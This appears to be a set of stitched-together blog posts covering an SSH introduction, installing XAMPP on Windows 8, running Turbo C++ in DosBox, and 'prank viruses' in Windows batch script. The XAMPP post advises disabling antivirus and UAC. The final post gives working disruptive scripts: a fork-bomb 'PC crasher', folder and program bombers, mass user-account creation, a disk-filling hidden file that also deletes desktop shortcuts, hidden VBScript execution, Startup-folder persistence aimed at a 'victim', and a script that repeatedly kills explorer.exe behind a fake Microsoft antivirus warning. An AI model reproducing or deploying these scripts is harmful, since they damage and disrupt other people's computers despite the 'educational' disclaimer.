A Beginners Guide To SSH : How to start with SSH

The most common way of connecting to a remote Linux server is through SSH (aka Secure Shell). SSH is a secure protocol used as the primary means of connecting to Linux servers remotely. It provides a text-based interface by spawning a remote shell. After connecting, all commands you type in your local terminal are sent to the remote server and executed there. SSH uses public key cryptography for both connection and authentication. SSH is the default tool for system administrator to perform various tasks on servers remotely. In order to use SSH to access your server remotely, you will need a SSH client on your local machine. For Linux machines ssh-client is comes with built-in, and for windows machine you can use putty : https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html here.

How to Install & Configure XAMPP Server in Windows 8

Hello guys, In this post we will look at how to properly install and configure XAMPP Server in Windows 8. XAMPP stands for [X]Cross Platform, Apache, Mysql, Php, Perl. It is a software package which contains all programs and executable files to create a local Web Server, where we can learn Mysql database, Php scripting or either test our Web applications without online-connectivity. XAMPP package mainly contains Apache http-server, Mysql Database application, Php, Strawberry perl, FileZilla FTP server, Mercury SMTP server and Tomcat. So lets get started ...

• Installing XAMPP Server

First of all download the XAMPP executable installer file from here :    www.apachefriends.org

You can download any one of given files, i downloaded the first one. If you have antivirus installed on your system then disable it, because some times it causes errors during installation process and also disable the UAC settings in windows 8. To do this just open search box and type "msconfig" then click on it.

after that in 'System Configuration' Box click 'tools' tab, select 'Change UAC Settings' then click 'Launch' button.

In the next window drag the seek at bottom option 'Never Notify', then then hit OK button on both windows.

Now run XAMPP setup file, after the splash screen if a 'question' box will appear then click 'Yes' and in 'Warning' box click OK.

after that click on next button.

at that window you can choose which components you want to install, select default and click next button.

here you can select where you want to put all XAMPP files, default is c:\xampp, and click next.

in next window un-check the check-box and click next.

Click on next again and wait for completion of installation process.

after the installation process click on Finish button.

• Configure XAMPP Server

In XAMPP Control Panel click 'start' button to start the different services and if you want to stop the process then hit stop button. Here is the brief Description of XAMPP Control Panel

Service Control : with these buttons we can start, stop, see logs and configure service settings.

XAMPP Buttons :

Config    : Open configuration window.

Netstat    : Show all listening and open ports.

Shell       : start a command prompt at Xampp directory.

Explorer : Open xampp folder in xplorer.

Services : start "services.msc"

now in order to start services just press the 'start' button and when a box named "Windows Security Alet" pops-up then click 'Allow Access' button.

by the above step services are unblocked by the firewall, Do same for the Mysql. Now its time to test our web server, open your web browser and type http://127.0.0.1/ or http://localhost/ and hit enter then choose your language and now we are in the main page of XAMPP server.

• Testing XAMPP Server

Now we create a simple Php script to test the Php installation. start notepad and paste this code -

<?php

echo "hello world!! this is a test.";

?>

save this as test.php on 'C:\xampp\htdocs\' folder then type http://127.0.0.1/test.php on browser and hit enter.

Now to test the mysql database click on the shell button on XAMPP Control Panel then type these commands on it

mysql -u root

show databases;

above commands are lists all databases in mysql. The Configuration process of FileZilla FTP server is found in this article. And if you want to run the Tomcat service then first you need to download and install Java JDK or JRE, which can be found here :  

JDK :  http://www.oracle.com/technetwork/java/javase/downloads/jdk.....

JRE : http://www.oracle.com/technetwork/java/javase/downloads/jre......

after installing java JDK/JRE you are able to run tomcat service.

• Access XAMPP Server over LAN

By default XAMPP server only accessed by local user. If you want to access XAMPP server through Len then you need to modify the 'httpd-xampp.conf' file. To do this open XAMPP Control Panel and click on 'config > Apache(httpd-xampp.conf)' option

then scroll down to the bottom of  configuration file, where you need to replace these two lines 

with this : Require all granted

save the configuration file and restart apache server, and now you are able to access the XAMPP server over Lan.

So that's it. We can Successfully installed XAMPP server. I hope you like this and if you have any question or suggestion about this post then please leave a comment.

How to Install & Run Turbo C++ in Windows 7/8 (32/64 bit) with Full-Screen

Turbo C++ is a16 bit MS-DOS based application which works perfectly on windows xp and older versions, but newer version of windows Operating Systems does not totally support 16 bit applications. The 32 bit version of windows 7/8 only runs Turbo C++ IDE and when you try to compile your code then it fails, because it could not support 16 bit compiler and 64 bit OS only support 32 bit and 64 bit applications. So in order to run Turbo C++ in windows 7/8 we use an application DosBox, which basically emulates a 16bit MS-DOS like Operating System environment. I have created a single installer which automatically installs DosBox, Turbo C++ and configure it. Here is download Links :

32bit version   download link
64bit version   download link

How To Install Video

Or if you want to install and configure it yourself then here is the method :
First of all download TurboC++ and DosBox setup from here :

TurboC++    Click here to download
DosBox        Click here to download

Create a folder in C drive to store all 16 bit applications. in my case i create a folder named "16bit".
Extract TurboC++ files on recently created folder, after that install & run DosBox then type following commands on it.

mount C C:\16bit\

above command will mount the folder "16bit" as C drive for emulated DOS-OS

C:

this command will change drive into C.

cd tc\bin

this command will change directory and locate tc.exe file

tc.exe

now this command launches TurboC++. For full-screen just press ALT + ENTER

Now you need to Re-map two keys F9 and Left Control, because if you press both keys to compile and run your code then DosBox will be closed down. So to Re-map keys start DosBox and press Left-Control + F1, then select F9 button by clicking on it and then click on 'del' button.

Then repeat same process for Left-Control button.

Now again click F9 button, then click 'add' button, after that press F9 button on your keyboard, this will assign new event for F9 button.

Again repeat same process for Left-Control button.

then click on save button and exit.

the above processes will re-map both keys.

You can also automate the mounting process by editing DosBox configuration file. To do this just go-to start menu and type "DosBox Options" in Search Box.

Now click on "DOSBox 0.74 Options", this will open up DosBox configuration file, after that scroll down bottom of file and add these code :

mount C C:\16bit\
C:
cd tc\bin
tc.exe

note : adjust your file path for tc directory in first command, in my case it is "C:\16bit\", then save it. Now when you run DosBox then TurboC++ will automatically start. that is the manual process. If you have faced any problem of those instructions then just download and install the above given automated installers.

Thanks for reading this Post.

Creating Funny Prank Viruses with Batch File Scripting

With Batch scripts we can creates some cool and funny virus scripts. In this post i am gonna explain you some batch virus scripts. But remember don't run these scripts directly in your PC otherwise it will crash your PC, i test all these scripts in Virtual Box. In order to properly understand these codes or create your own virus scripts you need to know some basics of Batch scripting and windows commands. For the Basics of Batch scripting see my previous post Windows Batch Scripting Guide For Beginners or just Google about it.

Note : This article is Only written for educational purpose and i just want to show you some Batch scripting hacks. If you harm yours or others system then i am not responsible for it.

So Now Lets see some Batch virus codes :

Folder_Bomber

 

::folder Bomber
@echo off
:loop
md "%userprofile%/Desktop/%random%"
goto loop

The above script will randomly creates thousands of folders on Desktop. To create a Batch script just open the notepad and paste that above given code on it then go to the file menu and click on "Save as" option, change the "Save as type" to "All files" and type "virus.bat" to filename box where ".bat" is extension of Batch file then click on save button.

To run this virus just click on it.

Program_Bomber

::Program Bomber
@echo off
:loop
start cmd.exe
start notepad.exe
start calc.exe
start explorer.exe
start write
start mspaint
goto loop 

This code will runs command prompt, notepad, Calculator, MSword, MSpaint etc. in infinite loop.

PC_Crasher

 

 @echo off
:Loop
start %0
goto Loop

The above code will crash the PC.

Account_Creator

 

@echo off
:Loop
net user %random% %random% /add
goto Loop

The above code will creates new user accounts with random names and passwords. Note the "net user" command will need administrator privilege, thus to run the above code on windows 7 & 8 you need to admin privilege.

Site_Opener

 

@echo off
:Loop
start www.google.com
start www.yahoo.com
start www.bing.com
start www.microsoft.com
start www.softpedia.com
start www.youtube.com
start www.facebook.com
start www.twitter.com
start www.whatsapp.com
start www.amazon.com
start www.ebay.com
start www.apple.com
start www.intel.com
start www.amd.com
goto Loop

This code will open all these site in infinite loop.

Drive_Pumper 

 

@echo off
setlocal ENABLEEXTENSIONS
cd %appdata%
set name=%random%
echo "This is just a sample line appended  to create a big file. " > %name%.dll
for /L %%i in (1,1,24) do type %name%.dll >> %name%.dll
attrib +r +h %name%.dll
del "%userprofile%\Desktop\*.lnk"

The above code will create a 1 GB garbage file on AppData folder and then delete all the Desktop icons.

Running Batch script in hidden Mode

When we run these batch scripts, its shows a console window. To solve these problem we need to run batch script with the help of a VBscript. Here is the code for VBscript

set RunBatch = createObject("WScript.Shell")
RunBatch.Run "Path of Batch Script", vbHide, TRUE

The file extension of VBscript is ".vbs". For running a Batch script named "test.bat", codes will be

set RunBatch = createObject("WScript.Shell")
RunBatch.Run "C:\Users\Ajay\Desktop\test.bat", vbHide, TRUE

 to run batch file, just click on the Vbscript file

where hidden.vbs is vbscript.

Running Virus at every Startup

Now if you want to automatically run these virus files at every startup then copy the Batch file into this Location

in Windows 7 & 8 : "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"

in Windows Xp     : "%userprofile%\Start Menu\Programs\Startup"

or add this extra code into the beginning of the batch virus file

@echo off & setlocal ENABLEEXTENSIONS
for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)
if %op%==7 (goto _7_8_installer)
if %op%==2002 (goto _Xp_installer)
if %op%==8 (goto _7_8_installer)
goto virus_codes

:_7_8_installer
set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"
goto install_virus

:_Xp_installer
set RC="%userprofile%\Start Menu\Programs\Startup"
goto install_virus

:install_virus
copy %0 %RC%

:virus_codes
:: Now your virus codes starts here

The above code will first examine the victim's OS, then automatically copy itself into startup folder. After apply this above code on Folder_Bomber's codes looks like

@echo off & setlocal ENABLEEXTENSIONS
for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)
if %op%==7 (goto _7_8_installer)
if %op%==2002 (goto _Xp_installer)
if %op%==8 (goto _7_8_installer)
goto virus_codes

:_7_8_installer
set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"
goto install_virus

:_Xp_installer
set RC="%userprofile%\Start Menu\Programs\Startup"
goto install_virus

:install_virus
copy %0 %RC%

:virus_codes
:: Now your virus codes starts here

::folder Bomber
@echo off
:loop
md "%userprofile%/Desktop/%random%"
goto loop

VBscript Virus

 

Now here is a Batch code which creates a VBscript in startup folder. This VBscript virus will automatically start after every reboot and terminate the Desktop, shows the fake error message then start Desktop[explorer.exe] again & again 50 times with some time duration. Here is codes

 @echo off & setlocal ENABLEEXTENSIONS  
 for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)  
 if %op%==7 (goto _7_8_installer)  
 if %op%==2002 (goto _Xp_installer)  
 if %op%==8 (goto _7_8_installer)  
 goto end  
 :_7_8_installer  
 set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"  
 goto Create_virus  
 :_Xp_installer  
 set RC="%userprofile%\Start Menu\Programs\Startup"  
 goto Create_virus  
 :Create_virus  
 echo Dim i > %RC%\virus.vbs  
 echo i = 0 >> %RC%\virus.vbs  
 echo Do >> %RC%\virus.vbs  
 echo  wscript.sleep 100000 >> %RC%\virus.vbs  
 echo  Set Myshell = wscript.CreateObject("WScript.Shell") >> %RC%\virus.vbs  
 echo  Myshell.run "taskkill /F /IM explorer.exe" >> %RC%\virus.vbs  
 echo  wscript.sleep 1000 >> %RC%\virus.vbs  
 echo  btv = msgbox("It seems Your Anti-Virus Program does not work Properly, So Please update it or remove it now.", 6, "Microsoft!!") >> %RC%\virus.vbs  
 echo  wscript.sleep 10000 >> %RC%\virus.vbs  
 echo  Myshell.run "explorer.exe" >> %RC%\virus.vbs  
 echo  i = i + 1 >> %RC%\virus.vbs  
 echo Loop until i = 50 >> %RC%\virus.vbs
